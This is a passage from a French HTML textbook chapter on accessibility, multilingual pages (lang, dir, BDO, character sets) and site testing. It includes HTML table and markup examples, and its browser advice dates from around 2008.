les cellules se rapportant à Alimentation et à Dates (particulièrement le 18
juillet), puis déterminer l’intersection de ces deux ensembles.

Pour satisfaire ce genre de requête, le modèle de table HTML 4 permet

aux auteurs de classer les rubriques et les données des cellules par
catégorie. Par exemple, pour le tableau des frais de déplacement,
l’auteur pourrait regrouper les cellules de rubrique Montpellier et

448 LE GUIDE COMPLET

 Accessibilité Chapitre 11

Transports dans la catégorie dépenses et les quatre jours dans la

catégorie date. Les trois questions précédentes se traduiraient alors
comme suit :
j « Quel a été le montant des frais de déplacement ? » devient
« Quelles sont toutes les cellules de données qui appartiennent à
la catégorie dépenses=Déplacement ? »
j « Qu’ai-je dépensé en alimentation le 18 juillet ? » devient
« Quelles sont toutes les cellules dans les catégories
dépenses=Alimentation et date=18-07-2005 ? »
j « Quel est le montant total des dépenses à Montpellier ? » devient
« Quelles sont toutes les cellules dans les catégories
dépenses=Alimentation, Déplacement, Divers et ville=Montpellier ? »

L’auteur catégorise une cellule de rubrique ou de données en spécifiant

l’attribut axis de la cellule. Par exemple, dans le tableau des frais de
déplacement, la cellule qui contient l’information Montpellier serait
placée comme suit dans la catégorie ville :
<TH id="a6" axis="ville">Montpellier</TH>

Toute cellule qui contient des informations relatives à Montpellier devrait

se rapporter à cette cellule de rubrique grâce à l’attribut headers ou à
l’attribut scope. Ainsi, les frais d’alimentation du 18-07-2005 devraient
être balisés pour se rapporter à l’attribut id (dont la valeur ici est a6) de
la cellule de rubrique :
<TD headers="a6">27.28</TD>

Chaque attribut headers fournit une liste de références id. Vous

pouvez donc catégoriser une cellule donnée par divers moyens (ou selon
un nombre quelconque de rubriques).

Voici le balisage du tableau des dépenses avec des indications de

catégorie. Les modifications apportées au fichier précédent figurent en
gras :
Listing 11-5 : Extrait du fichier [Link].
...
</CAPTION>
<TR>
<TH></TH>
<TH id="a2" axis="dépenses">Alimentation</TH>
<TH id="a3" axis="dépenses">D&eacute;placement</TH>
<TH id="a4" axis="dépenses">Divers</TH>
<TD>Sous-totaux</TD>

LE GUIDE COMPLET 449

 Chapitre 11 Publication sur le Web

</TR>
<TR>
<TH id="a6" axis="ville">Toulouse</TH>
<TH></TH>
<TH></TH>
<TH></TH>
<TD></TD>
</TR>
<TR align="right">
<TD id="a7" axis="date">17-07-05</TD>
<TD headers="a6 a7 a2">37.74</TD>
<TD headers="a6 a7 a3">32.00</TD>
<TD headers="a6 a7 a4">15.00</TD>
<TD></TD>
</TR>
<TR align="right">
<TD id="a8" axis="date">18-07-05</TD>
<TD headers="a6 a8 a2">27.28</TD>
<TD headers="a6 a8 a3">4.00</TD>
<TD headers="a6 a8 a4">20.53</TD>
<TD></TD>
</TR>
<TR align="right">
<TD>Sous-totaux</TD>
<TD>65.02</TD>
<TD>36.00</TD>
<TD>35.53</TD>
<TD>136.52</TD>
</TR>
<TR>
<TH id="a10" axis="ville">Montpellier</TH>
<TH></TH>
<TH></TH>
<TH></TH>
<TD></TD>
</TR>
<TR align="right">
<TD id="a11" axis="date">19-07-05</TD>
<TD headers="a10 a11 a2">56.25</TD>
<TD headers="a10 a11 a3">29.00</TD>
<TD headers="a10 a11 a4">00.00</TD>
<TD></TD>
</TR>
<TR align="right">
<TD id="a12" axis="date">20-07-05</TD>
<TD headers="a10 a12 a2">35.00</TD>
<TD headers="a10 a12 a3">0.00</TD>
<TD headers="a10 a12 a4">36.00</TD>
<TD></TD>
</TR>
...

450 LE GUIDE COMPLET

 Accessibilité Chapitre 11

L’aspect du tableau dans un navigateur visuel est strictement identique.

Figure 11.7 :
Tableau des dépenses de voyage
avec catégorisation des cellules

Pourtant, ce balisage permet aux agents utilisateurs d’éviter de troubler

l’utilisateur avec des informations parasites. Par exemple, si un
synthétiseur de parole devait dire tous les nombres figurant dans la
colonne Alimentation de cette table, en réponse à la question « Quelle est
la totalité de mes frais de repas ? », l’utilisateur serait incapable de
distinguer entre les dépenses du jour et les sous-totaux ou les totaux. En
catégorisant soigneusement les cellules de données, les auteurs
permettent aux agents utilisateurs de faire des distinctions sémantiques
importantes lors de la restitution.

Il n’existe pas de limite quant à la manière dont les auteurs peuvent

catégoriser les informations contenues dans une table. Dans cette table
des frais de déplacement, par exemple, on pourrait rajouter les
catégories sous-totaux et totaux.

Les agents utilisateurs, notamment les synthétiseurs de parole, peuvent

combiner les informations communes à plusieurs cellules résultant d’une
requête. Par exemple, si l’utilisateur demande « Qu’ai-je dépensé en
alimentation à Montpellier ? », l’agent utilisateur déterminerait d’abord
les cellules en question (19-07-05 : 56,25 ; 20-07-05 : 35,00) puis

LE GUIDE COMPLET 451

 Chapitre 11 Publication sur le Web

restituerait ces informations. Un agent utilisateur disant ces informations

pourrait les lire ainsi :

Ville : Montpellier. Date : 19−07−05. Dépenses,

Alimentation : 56,25

Ville : Montpellier. Date : 20−07−05. Dépenses,

Alimentation : 35,00

ou, de manière plus concise :

Montpellier, 19−07−05, Alimentation : 56,25

Montpellier, 20−07−05, Alimentation : 35,00

Une restitution encore plus économe combinerait les informations

communes et les réorganiserait :

Montpellier, Alimentation, 19−07−05 : 56,25

20−07−05 : 35,00

L’attribut axis
La spécification HTML 4.01 n’oblige pas les agents utilisateurs à
gérer les informations fournies par l’attribut axis. Elle n’émet pas non
plus de recommandation sur la manière dont les agents utilisateurs
peuvent présenter les informations de l’attribut axis aux utilisateurs, ni
sur la façon dont les utilisateurs peuvent effectuer des requêtes vers
l’agent utilisateur.

En l’absence d’indications de rubrique fournies par l’attribut scope ou

l’attribut headers, les agents utilisateurs peuvent néanmoins construire
des informations de rubrique en fonction de l’algorithme suivant, dont
l’objectif consiste à rechercher une liste ordonnée de rubriques.
j À partir de la position de la cellule, rechercher d’abord des
cellules de rubrique de ligne vers la gauche. Puis rechercher des
cellules de rubrique de colonne vers le haut. La recherche dans
une direction s’achève quand le bord du tableau est atteint ou bien
quand on trouve une cellule de données qui fait suite à une cellule
de rubrique.

452 LE GUIDE COMPLET

 Accessibilité Chapitre 11

j Les rubriques de ligne sont insérées dans la liste, dans l’ordre où

elles apparaissent dans la table. Pour les tableaux de gauche à
droite, les rubriques s’insèrent de gauche à droite.
j Les rubriques de colonne sont insérées après les rubriques de
ligne, dans l’ordre où elles apparaissent dans le tableau, de haut
en bas.
j Si une cellule de rubrique possède un attribut headers, les
rubriques référencées par cet attribut sont insérées dans la liste et
la recherche s’achève pour la direction courante.
j Les cellules TD qui possèdent un attribut axis sont également
traitées comme des cellules de rubrique.

Accessibilité des jeux d’encadrement

Les jeux d’encadrement font également partie des structures délicates à
interpréter par les agents utilisateurs non visuels. Les remèdes sont
toutefois ici presque inexistants. La seule solution, comme cela était
évoqué au Chapitre 7, consiste à employer un élément NOFRAMES et à
fournir un lien alternatif vers une version dépourvue de cadres.
<NOFRAMES>
<H1>Bienvenue chez ORIGNAL TRADUCTIONS !</H1>
Votre agent utilisateur ne reconna&icirc;t malheureusement pas les
jeux d’encadrement. Cliquez <A href="[Link]">ici</A> pour
acc&eacute;der au site alternatif en version purement textuelle.
</NOFRAMES>

Avec l’agent utilisateur pwWebspeak, (n’oubliez pas que pwWebspeak

« lit » ce qui est affiché), vous obtenez l’aspect visuel qui est présenté
dans la figure suivante.

Figure 11.8 :
pwWebSpeak ne
reconnaît pas les jeux
d’encadrement

LE GUIDE COMPLET 453

 Chapitre 11 Publication sur le Web

Le navigateur en texte seul Linx affiche ce qui est présenté figure

suivante.

Figure 11.9 : Linx ne reconnaît pas non plus les jeux d’encadrement

Enfin, un navigateur visuel ne reconnaissant pas les jeux d’encadrement

pourrait afficher ce qui est présenté dans la figure qui suit.

Figure 11.10 :
Affichage avec un navigateur
visuel ne reconnaissant pas les
jeux d’encadrement

En l’absence de l’élément NOFRAME, les agents utilisateurs afficheraient

une page vide !

Modules complémentaires (plug-in)

Pourquoi aborder ce sujet dans une section traitant de l’accessibilité ?
Parce que, une fois encore, le choix d’imposer le chargement et
l’installation de modules complémentaires (ou plug-in) pour accéder à
un site dépend du public visé.

Si celui-ci est composé d’internautes avertis, il est probable qu’ils

disposent déjà des principaux modules complémentaires et ne
rechigneront pas à les installer éventuellement si ce n’est pas le cas. En
revanche, de nombreux utilisateurs moins bien informés ne se donneront

454 LE GUIDE COMPLET

 Accessibilité Chapitre 11

pas la peine de télécharger un programme complémentaire pour

visionner certaines sections de votre site. Prévoyez toujours une solution
alternative pour ce type de visiteurs !

Voici quelques exemples de contenus susceptibles de réclamer un

module complémentaire :
j Texte au format PDF (Portable Document format) : Adobe
Acrobate Reader.
j Musique : RealAudio, MIDI, WAV, QuickTime.
j Vidéo : MPEG, AVI.
j Animations : Flash/Shockwave (Macromedia), applets Java.
j Mondes virtuels : VRML .

Adobe Acrobat Reader est un célèbre plug-in qui permet de lire et

d’imprimer des documents du Web ayant été formatés pour
l’impression. Les utilisateurs peuvent avoir accès aux formulaires
gouvernementaux, aux brochures collectives et à bien d’autres
informations. Si l’apparence de l’information que vous voulez présenter
est très importante, envisagez de la présenter comme un fichier Adobe
Acrobat.

Shockwave est également très répandu. Proposé par Macromédia, il

permet aux utilisateurs de voir des animations sophistiquées ainsi que
des films créés avec le logiciel Director de Macromedia.

Les applets Java nécessitent l’installation d’une machine Java virtuelle

(JVM, Java Virtual Machine), toutefois parfois intégrée au navigateur (cas
d’Internet Explorer).

L’incorporation de ce type d’éléments dans une page Web s’effectue à

l’aide de l’élément OBJECT déjà abordé. L’élément OBJECT a pour but
de gérer à terme tous les contenus non textuels. Par exemple, des images
simples, des films et des applets Java peuvent tous être affichés à l’aide
de l’élément OBJECT.

Cet élément permet de créer différentes possibilités pour les utilisateurs

qui ne peuvent visualiser vos fichiers multimédias : un utilisateur peut
voir du texte, un autre une image fixe, un dernier une vidéo de haute
qualité.

LE GUIDE COMPLET 455

 Chapitre 11 Publication sur le Web

Comme le montre le tableau suivant, certains modules complémentaires

sont toutefois largement installés :

Tableau 11.1 : Les technologies (plug-in) installées sur les postes

des internautes en février 2008.
(Source : [Link]

Rang Produit Présence

1 Java 98,7 %

2 Javascript 98,5 %

3 Flash 96,9 %

4 QuickTime 49,9 %

5 Real Player 27,6 %

6 Shockwave 24,9 %

7 PDF 13,3 %

11.3. Adaptation à plusieurs langues

Vous pourriez vouloir proposer des versions de votre site adaptées à
plusieurs cultures et langues, afin d’élargir votre public. Certains parlent
pour ce faire d’internationalisation du site, terme souvent confondu avec
celui de localisation.

Pour simplifier, l’internationalisation est le processus par lequel un

produit est rendu disponible aux utilisateurs d’autres langues et d’autres
cultures. Pour HTML 4.0, il s’agit essentiellement de prendre en charge
les langues qui se lisent de droite à gauche, comme l’hébreu et l’arabe,
ainsi que celles fondées sur des idéogrammes, comme le japonais et le
chinois. En revanche, la localisation consiste à adapter un produit ou une
technologie à un marché local composé de personnes employant une
langue spécifique. Autrement dit, vous internationalisez votre site en
localisant différentes versions de vos pages.

L’ensemble de caractères Unicode désormais adopté par HTML est la

réponse ultime au problème des différentes langues. Il dispose de plus
de 25 000 caractères différents et est destiné à représenter les langues du
monde entier (plus quelques autres, comme le klingon - attribut
lang="x−klingon", x - spécifiant une langue expérimentale). Vous

456 LE GUIDE COMPLET

 Adaptation à plusieurs langues Chapitre 11

trouverez des informations complémentaires sur Unicode à l’adresse

[Link]/

Vous spécifiez la langue d’un élément HTML à l’aide de son attribut

lang.

Attribut lang
L’attribut lang spécifie la langue de base dans laquelle sont écrits les
valeurs des attributs et le contenu textuel d’un élément. La valeur par
défaut de cet attribut n’est pas définie. Cet attribut s’applique ou non à
un attribut selon sa syntaxe et sa sémantique et l’opération en jeu.

Vous devez être capable d’écrire dans la langue humaine de votre

document. Le Web ne se comporte pas comme un traducteur universel,
capable par exemple de modifier une page Web du français au japonais.
Vous devez le traduire vous-même en japonais, dans le pire des cas à
l’aide d’un des nombreux programmes de traduction disponibles sur le
Web.

L’indication de langue procurée par l’attribut lang peut permettre à un

agent utilisateur de contrôler la restitution de diverses manières, en
respectant les pratiques culturelles en usage dans une langue donnée.

Si le but de l’attribut lang est de permettre aux agents utilisateurs de

représenter un contenu de façon plus pertinente, il n’incite aucunement à
représenter de façon moins pertinente les caractères atypiques pour une
langue particulière. Un agent utilisateur doit toujours faire de son mieux
pour représenter tous les caractères, quelle que soit la valeur spécifiée
par lang.

Par exemple, imaginez que vous ayez placé des caractères de l’alphabet
grec au milieu d’un texte en français :
<P><Q lang="fr">Ses super-pouvoirs étaient la conséquence d’un
✂ rayonnement &gamma;</Q>, expliqua-t-il.</P>

L’agent utilisateur doit s’efforcer de représenter le contenu français de

manière appropriée (dans sa façon de gérer les guillemets par exemple)
et faire son possible pour représenter le caractère γ, même si ce n’est pas
un caractère français.

Remarquez que Firefox

LE GUIDE COMPLET 457

 Chapitre 11 Publication sur le Web

Figure 11.11 :
Aperçu du code précédent
avec le navigateur Firefox

et Internet Explorer

Figure 11.12 :
Aperçu du code précédent
avec le navigateur Internet
Explorer

n’interprètent pas de façon identique les guillemets normalement induits

par l’élément Q, comme nous l’avons vu lors de l’étude de cet élément.

L’attribut lang reçoit comme valeur un code qui identifie une langue
parlée, écrite, ou utilisée d’une manière ou d’une autre pour la
communication d’informations entre personnes. Les langages
informatiques sont explicitement exclus des codes de langue. Le
document RFC1766 définit et explique les codes de langue qui doivent
être utilisés dans les documents HTML.

Brièvement, les codes de langue consistent en un code principal et une

suite éventuellement vide de sous-codes :
code-de-langue = code-principal ("-" sous-code)*

Le tableau suivant présente certains codes de langue.

458 LE GUIDE COMPLET

 Adaptation à plusieurs langues Chapitre 11

Tableau 11.2 : Valeurs de l’attribut lang

Valeur de lang Langage

ar Arabe

de Allemand

el Grec

en Anglais

en−cockney Version est-londonienne de l’anglais

es Espagnol

fr Français

fr−CA Français canadien

he Hébreu

hi Hindi

i−navajo La langue navajo parlée par certains Indiens d’Amérique

it Italien

ja Japonais

nl Néerlandais

pt Portugais

ru Russe

sa Sanscrit

ur Ourdou

x−klingon Klingon (pensez à StarTrek). Le code principal x signale

une langue expérimentale.

zh Chinois

Un élément hérite de l’indication du code de langue selon l’ordre de

priorité suivant (de la priorité la plus élevée à la plus faible) :
j L’attribut lang spécifié pour l’élément lui-même.
j L’élément parent le plus proche, dont l’attribut lang est spécifié.
j L’en-tête HTTP Content−Language (qui peut être configuré au
sein d’un serveur). Par exemple : Content−Language: fr−CA.

LE GUIDE COMPLET 459

 Chapitre 11 Publication sur le Web

j Les valeurs par défaut de l’agent utilisateur et les préférences de

l’utilisateur.

Dans l’exemple suivant, la langue principale du document est le français

(fr). Un paragraphe est déclaré comme étant en espagnol (es), après
lequel la langue principale redevient le français. Le paragraphe qui vient
ensuite inclut une phrase enchâssée en japonais (ja), après laquelle la
langue principale redevient le français.
Listing 11-6 : Extrait du fichier [Link]
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"[Link]
<HTML lang="fr">
<HEAD>
<TITLE>D&eacute;pression multilingue</TITLE>
...
</HEAD>
<BODY>
...A propos de la d&eacute;pression...
<P lang="es">¿Tiene Usted Depresi&oacute;n?
<P> La d&acute;pression au Japon, connue sous le nom de <EM
lang="ja">Utsubyo</EM>, y est très fr&eacute;quente :
probablement une personne sur sept en souffre...
</BODY>
</HTML>′

La figure suivante présente l’aspect de cette page dans un navigateur.

Figure 11.13 :
Texte multilingue

460 LE GUIDE COMPLET

 Adaptation à plusieurs langues Chapitre 11

Héritage
Les cellules d’un tableau peuvent hériter des valeurs de lang non de
leur parent mais de la première cellule d’un groupe.

Lorsqu’un agent utilisateur ajuste la restitution en fonction des

indications de langue (en comparant les codes de langue de la feuille de
style et les valeurs de l’attribut lang), il doit toujours donner la
préférence aux codes qui coïncident parfaitement. Il peut toutefois
considérer la correspondance des codes principaux comme suffisante.
Ainsi, si l’attribut lang est spécifié pour l’élément HTML avec la valeur
fr−CA, l’agent utilisateur devrait-il préférer les indications de style qui
correspondent d’abord à fr−CA, puis à la valeur plus générale fr.

Les agents utilisateurs ne doivent pas utiliser l’attribut lang pour

déterminer la direction du texte.

Attribut dir
Outre spécifier la langue d’un document à l’aide de l’attribut lang, il
peut être nécessaire de définir la directionnalité de base (de gauche à
droite ou de droite à gauche) de certaines parties du texte d’un
document, de la structure d’un tableau, etc. Vous y parvenez à l’aide de
l’attribut dir, qui spécifie la direction de base d’un texte neutre par
rapport à la direction (autrement dit, un texte dépourvu de
directionnalité inhérente telle que définie dans la norme Unicode) dans
le contenu ou les valeurs d’attribut d’un élément. Il spécifie aussi la
directionnalité des tableaux. Les valeurs possibles sont :
j LTR (left to right) : texte ou tableau allant de gauche à droite.
j RTL (right to left) : texte ou tableau allant de droite à gauche.

La spécification Unicode attribue une directionnalité aux caractères et

définit un algorithme complexe pour déterminer la directionnalité
correcte d’un texte. Si un document ne contient pas de caractères
affichables droite à gauche, l’agent utilisateur conforme n’est pas tenu
d’appliquer l’algorithme bidirectionnel Unicode. Si un document
contient des caractères droite à gauche, et si l’agent utilisateur affiche
ces caractères, l’agent utilisateur doit utiliser l’algorithme bidirectionnel.

LE GUIDE COMPLET 461

 Chapitre 11 Publication sur le Web

Même si la norme Unicode spécifie des caractères spéciaux concernant

la direction du texte, HTML offre des structures de balisage de niveau
supérieur qui accomplissent la même chose : l’attribut dir (à ne pas
confondre avec l’élément DIR) et l’élément BDO. Ainsi, pour faire une
citation en hébreu, il est plus intuitif d’écrire :
<Q lang="he" dir="rtl">...une citation en hébreu...</Q>

que de faire appel à des caractères Unicode :

&#x202B;&#x05F4;...une citation en hébreu...&#x05F4;&#x202C;

Figure 11.14 :
Attribut dir avec Firefox

Figure 11.15 :
Attribut dir avec Internet Explorer

Comme le montrent les copies d’écran précédentes, ces deux lignes de

code ont un effet identique… mais pas celui attendu, puisque le texte est
bien écrit de gauche à droite ! Ni Firefox ni Internet Explorer ne
semblent reconnaître pour le moment l’attribut dir.

En réalité, ces deux navigateurs semblent interpréter l’attribut dir

comme similaire à un attribut align. Ainsi, le code suivant :
<HTML dir="RTL">
<HEAD>
<TITLE>...un titre allant normalement de droite à gauche...</TITLE>
</HEAD>
<BODY>

462 LE GUIDE COMPLET

 Adaptation à plusieurs langues Chapitre 11

<H1>Titre allant aussi de droite à gauche...</H1>

<P dir="ltr">...texte allant de gauche à droite...</P>
<P>...encore un texte de droite à gauche...</P>
</BODY>
</HTML>

donne, avec ces deux navigateurs, un résultat strictement équivalent à :

<HTML>
<HEAD>
<TITLE>...un titre allant normalement de droite à gauche...</TITLE>
</HEAD>
<BODY>
<H1 align="right">Titre allant aussi de droite à gauche...</H1>
<P align="left">...texte allant de gauche à droite...</P>
<P align="right">...encore un texte de droite à gauche...</P>
</BODY>
</HTML>

Les figures suivantes présentent l’aspect de ces deux codes avec Firefox.

Figure 11.16 :
Attribut dir avec Firefox

Figure 11.17 :
Attribut align avec Firefox

Heureusement, il est possible de désactiver l’algorithme bidirectionnel

Unicode et de spécifier une directionnalité à l’aide de l’élément BDO
(BiDirectional Override).

Élément BDO
Si l’algorithme bidirectionnel et l’attribut dir devraient suffire à gérer
les changements de direction enchâssés, il semble toutefois qu’ils ne

LE GUIDE COMPLET 463

 Chapitre 11 Publication sur le Web

soient pas parfaitement pris en charge pour le moment. L’élément BDO,

dont les balises d’ouverture et de fermeture sont obligatoires, permet de
définir une directionnalité indépendamment de l’algorithme bidirectionnel
sur des passages choisis du texte.

Cet élément possède un attribut obligatoire dir, identique à celui vu

ci-dessus, mais qui prévaut sur la directionnalité inhérente des caractères
telle que définie dans Unicode.

Reprenons l’exemple précédent, cette fois avec des éléments BDO :

<HTML>
<HEAD>
<TITLE><BDO dir="rtl">Eléments BDO (droite à gauche)</BDO></TITLE>
</HEAD>
<BODY>
<H1><BDO dir="rtl">Titre allant aussi de droite à gauche...</BDO></H1>
<P><BDO dir="ltr">...texte allant de gauche à droite...</BDO></P>
<P><BDO dir="rtl">...encore un texte de droite à gauche...</BDO></P>
</BODY>
</HTML>

Comme le montre la figure suivante, l’aspect obtenu est celui souhaité,

si ce n’est que l’élément BDO n’est pris en compte que dans le corps du
document, et non dans un élément TITLE.

Figure 11.18 :
Éléments BDO et attributs dir avec
Firefox

Attention toutefois, seuls les navigateurs les plus récents reconnaissent

l’élément BDO.

D’une façon générale, l’algorithme bidirectionnel Unicode est d’une

grande complexité et intervient dans de nombreux domaines. Si cela
vous intéresse, reportez-vous à la spécification HTML 4.01 pour en
apprendre plus à son sujet.

Enfin, prenez garde à tester votre page en langue étrangère à l’aide d’un
navigateur reconnaissant cette langue. Si l’aspect n’est pas correct,
revenez en arrière et placez un attribut lang dans tout élément relatif au

464 LE GUIDE COMPLET

 Adaptation à plusieurs langues Chapitre 11

contenu de la page. Il sera parfois nécessaire d’avoir recours à un

élément <BASEFONT> dans la section <HEAD>, afin d’imposer
l’utilisation d’une police exotique.

Langues et jeux de caractères

Si vous réalisez une page dans une langue autre qu’européenne,
n’oubliez pas de modifier la page de caractères du document à l’aide de
l’attribut charset. Certains alphabets, tel l’alphabet cyrillique,
possèdent des caractères difficilement affichables à l’aide des caractères
d’Europe de l’Ouest Latin-1 (Western European), nommés ISO-8859-1.
Les caractères cyrilliques seront trouvés dans la page Windows-1251,
tandis que SHIFT_JIS et EUC-JP produisent les caractères japonais. Vous
pouvez spécifier le jeu de caractères pour un document en cyrillique
comme ceci :
<META http-equiv="Content-Type" content="text/html; charset=
✂ Windows-1251">

L’image suivante montre une page russe, qui présente des caractères
cyrilliques,

Figure 11.19 :
Site russe, à l’adresse
[Link]

Voici le code source de cette page avec la spécification du jeu de

caractères pour cette page.

Figure 11.20 :
Code source de cette page,
montrant le choix du jeu de
caractères Windows-1251.

LE GUIDE COMPLET 465

 Chapitre 11 Publication sur le Web

Avec de nombreux navigateurs, vous pouvez forcer le choix du type

d’encodage de la page. Par exemple, avec Firefox, vous choisissez
Affichage / Encodage des caractères.

Figure 11.21 :
Modification de l’encodage
de la page avec Firefox

Choisir pour la page russe le jeu occidental n’est toutefois pas sage :
comme le montre la figure suivante, la page devient incompréhensible.

Figure 11.22 :
Aspect du site précédent,
en imposant un encodage
occidental ISO-8859-1.

11.4. Test du site

Nous avons déjà insisté sur le fait qu’il fallait toujours tester un site
Web avec autant de navigateurs que possible. La plupart d’entre eux
sont disponibles gratuitement, même s’il ne s’agit que de versions de
démonstration. D’une façon générale, comme cela a été évoqué dans le
Chapitre 2, il est préférable de tester le site au moins sous Internet
Explorer 6.0 et 7.0 et sous Firefox 1 et 2.

466 LE GUIDE COMPLET

 Test du site Chapitre 11

Dans le cas d’un public qui comprend des utilisateurs à difficultés

visuelles, le mieux est un navigateur texte-parole. Ceux-ci sont plutôt
onéreux, mais une version de démonstration de pwWebSpeack est
disponible à l’adresse [Link] Une alternative consiste à
utiliser un navigateur en texte seul, comme Lynx ([Link]
afin de visualiser votre site. Prenez toujours la précaution d’examiner
votre site sous un navigateur graphique après avoir désactivé les
graphismes. Voici comment désactiver les graphismes avec les deux
principaux navigateurs :
j Avec Internet Explorer, choisissez Outils / Options Internet.
Cliquez sur l’onglet Avancé, puis descendez dans la liste et
décochez dans la section Multimédia l’option Afficher les images.

Figure 11.23 :
Désactivation des images avec
Internet Explorer

j Avec Firefox, choisissez Outils / Options. Choisissez

Fonctionnalités Web dans le volet de gauche, puis décochez dans
le volet de droite l’option Charger les images .

Figure 11.24 :
Désactivation de
graphismes avec Firefox

LE GUIDE COMPLET 467

 Chapitre 11 Publication sur le Web

Remarquez qu’un navigateur à images désactivées (ou en texte seul)

supprime toutes les indications des feuilles de style. Tout graphisme
éventuellement présent sur la page n’affiche que le texte présent dans
son attribut alt.

Figure 11.25 :
Page Ma région dans
Internet Explorer, les
graphismes étant
désactivés.

Bien évidemment, si vous réalisez une page pour un intranet, testez-le

avec le navigateur utilisé par l’entreprise, pourvu de tous les
programmes complémentaires (plug-in) installés de façon standard.

Prenez garde aux problèmes de compatibilité entre navigateurs. La page

est-elle parfaite avec un autre navigateur ? Si vous avez conçu votre site
en pensant à un navigateur unique, sans pouvoir exercer de contrôle sur
le navigateur réellement utilisé, n’imaginez pas que votre page sera
« parfaite » pour chaque visiteur. Examinez votre page avec au moins un
autre navigateur, et observez ses transformations, en vérifiant qu’elle ne
perd pas sa signification. Si tel était le cas, essayez de la modifier afin
que le message perçu reste identique quels que soient le navigateur et la
configuration matérielle de l’utilisateur.

Il est bien sûr difficile de disposer de tous les navigateurs sur son
ordinateur. Plusieurs solutions sont possibles :

468 LE GUIDE COMPLET

 Test du site Chapitre 11

j Partage du test des ressources Web avec d’autres. Il peut s’agir

d’amis ou de relations, qui possèdent une architecture matérielle
et/ou un navigateur différents des vôtres. Vous pouvez également
solliciter, sur certains groupes de discussion, l’examen de votre
site. Certains développeurs peuvent pousser le professionnalisme
jusqu’à vous envoyer une capture d’écran ! En attirant l’attention
des testeurs sur certains problèmes spécifiques que vous
suspectez, les réponses reçues devraient vous permettre de
résoudre tout problème potentiel.
j Emploi de sites de test disponibles sur le Net (comme, par
exemple, [Link]). Vous pouvez :
tester votre site à l’aide d’une simulation de navigateur de
troisième génération ;

Figure 11.26 :
Test d’un site avec un
navigateur de troisième
génération

spécifier plus précisément un niveau de compatibilité avec les

spécifications HTML ;
tester l’affichage sur une WebTV.

Figure 11.27 :
Test d’un site en choisissant le
niveau de compatibilité du
navigateur

LE GUIDE COMPLET 469

 Chapitre 11 Publication sur le Web

Pensez également à modifier votre résolution et à faire varier la taille de

la fenêtre du navigateur. Des surprises ne manqueront pas de
s’ensuivre…

Ne poussez toutefois pas la précision à l’extrême : les différences entre

navigateurs sont inévitables. Tant que le contenu reste lisible, ne
modifiez pas votre page parce qu’un élément diffère légèrement d’un
autre.

Tout au long de la phase de test, vous devrez répondre à plusieurs

questions. Tout d’abord, celles qui concernent directement le contenu :
j Les informations détaillées sur le contenu sont-elles directement
ou rapidement disponibles ?
j Tout document doit posséder un titre. Vos titres résument-ils bien
le contenu des pages ?
j L’esthétique des pages est-elle de bon goût ? Originale ?
Attrayante ?
j N’y a-t-il rien qui puisse choquer inutilement un lecteur d’une
culture différente de la vôtre ?
j Le raffinement de votre page d’accueil n’est-il pas excessif au
point de pénaliser lourdement le temps de chargement (image trop
grande ou texte trop long) ? La page d’accueil signale-t-elle la
configuration optimale pour visionner votre site ?
j Tous les liens sont-ils bien définis ?
j Toutes les images sont-elles bien présentes ? Comptent-elles
toutes bien un texte alternatif ? Avez-vous pensé à limiter leur
taille ?

Vous pouvez en outre utilement vérifier le bon balisage de votre

document, soit à l’aide du service proposé par le W3C à l’adresse
[Link] soit en employant leur éditeur/navigateur gratuit
Amaya.

Emplacement
Un site Web est susceptible de changer d’emplacement. Ce peut être
une décision de niveau serveur, dont vous n’êtes pas maître. Un truc tout
simple pour tester ce problème consiste à changer votre site en
construction de disque ou de répertoire. Vous verrez ainsi si cette
modification pose problème.

470 LE GUIDE COMPLET

 Test du site Chapitre 11

Bref, testez, testez... il en restera toujours quelque chose.

N’oubliez jamais que le lecteur d’une présentation informatisée établira

toujours une corrélation inconsciente entre la valeur du contenu de
celle-ci et son aspect.

XHTML
Pour convertir rapidement un document au format XHTML, vous
pouvez vous servir de HTML Tidy ou de l’éditeur/navigateur Amaya,
qui peut enregistrer des documents HTML en XHTML.

Réactions du public
Vous avez conçu un splendide site Web, l’avez testé par tous les moyens
possibles. Comment toutefois savoir avec quelle efficacité votre message
parvient au public ciblé ? Pour ce faire, vous devez fournir aux
utilisateurs un moyen d’entrer en contact avec vous.

Le premier moyen pour encourager vos visiteurs à vous faire part de

leurs remarques consiste à placer sur chaque page un lien vers votre
adresse électronique. Vous pouvez utilement compléter cela par un lien
situé sur votre page d’accueil, qui précise où signaler un problème. Nous
l’avons fait pour notre site, grâce au lien de messagerie de la barre de
navigation (affichée sur chaque page) et au message qui figure dans la
page d’accueil, même si pour le moment les liens de ce message ne
possèdent pas de cible.

Figure 11.28 :
Il est capital de
proposer un
dispositif permettant
aux utilisateurs de
vous contacter

LE GUIDE COMPLET 471

 Chapitre 11 Publication sur le Web

Un autre moyen consiste à proposer un formulaire en ligne, qui peut être

complété par les visiteurs et envoyé (probablement par messagerie) au
responsable du site. Dans notre cas, ce serait une page [Link]. Le
formulaire doit poser des questions précises relatives au site, ainsi que
sur le profil du visiteur. Ces dernières informations permettent de
vérifier que le visiteur fait bien partie de la cible choisie, tandis que les
questions portant sur le site permettent de focaliser les critiques
éventuelles.

Des solutions plus avancées consistent à proposer une liste de diffusion

ou une adresse de groupe de discussion. Une liste de diffusion envoie un
message à toute personne présente sur la liste, les membres pouvant le
plus souvent répondre directement à la liste. Cela peut augmenter la
portée de votre site Web tandis que votre public pourra plus facilement
vous faire part de ses remarques.

Un groupe de discussion est un endroit où des utilisateurs peuvent

envoyer et lire des messages, regroupés par sujet ou par thème. Cela est
très similaire à la liste de diffusion, mais attire traditionnellement moins
de gens : sans doute parce que les utilisateurs doivent les visiter
activement, alors qu’ils reçoivent automatiquement les messages d’une
liste.

Ces deux méthodes demandent toutefois une mise en œuvre plus

complexe, qui ne sera pas abordée ici.

Quelle que soit la façon dont vous encouragez les commentaires

touchant votre site, répondez-y toujours rapidement. Si quelqu’un vous
écrit pour vous demander une URL, envoyez-la le jour même ou
répondez que vous ne savez pas où la trouver. N’hésitez jamais à avouer
que vous ignorez quelque chose, mais essayez d’aller trouver la réponse.

11.5. Publication sur le Web

La dernière étape, et paradoxalement la plus simple, consiste à placer
votre site sur le Web. Pour le moment, vous possédez un site en
construction, stocké quelque part sur votre disque dur. Pour continuer,
vous avez besoin d’un hébergeur et d’un outil capable de transférer les
fichiers qui composent votre site sur le serveur de cet hébergeur.

Le problème se pose différemment pour une entreprise dotée de son

propre réseau (et qui dispose probablement d’un ou de plusieurs

472 LE GUIDE COMPLET

 Publication sur le Web Chapitre 11

